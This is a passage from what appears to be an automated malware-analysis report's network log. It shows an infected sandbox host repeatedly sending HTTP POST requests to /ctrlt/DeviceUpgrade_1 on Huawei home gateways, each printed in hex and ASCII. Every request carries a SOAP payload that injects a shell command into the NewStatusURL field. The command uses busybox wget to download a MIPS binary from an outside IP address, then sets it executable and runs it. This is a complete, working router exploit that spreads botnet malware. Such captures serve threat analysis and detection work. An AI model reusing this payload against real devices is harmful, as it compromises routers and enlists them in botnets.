huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:38.493280888 CET	3169	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	156.241.124.109	37215	192.168.2.23	46690

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:12.892698050 CET	2480	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:14.880439043 CET	2537	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:17.248173952 CET	2576	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:22.111577988 CET	2712	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:31.582248926 CET	2957	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.23	46690	156.241.124.109	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:12.892698050 CET	2480	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:14.880439043 CET	2537	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:17.248173952 CET	2576	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
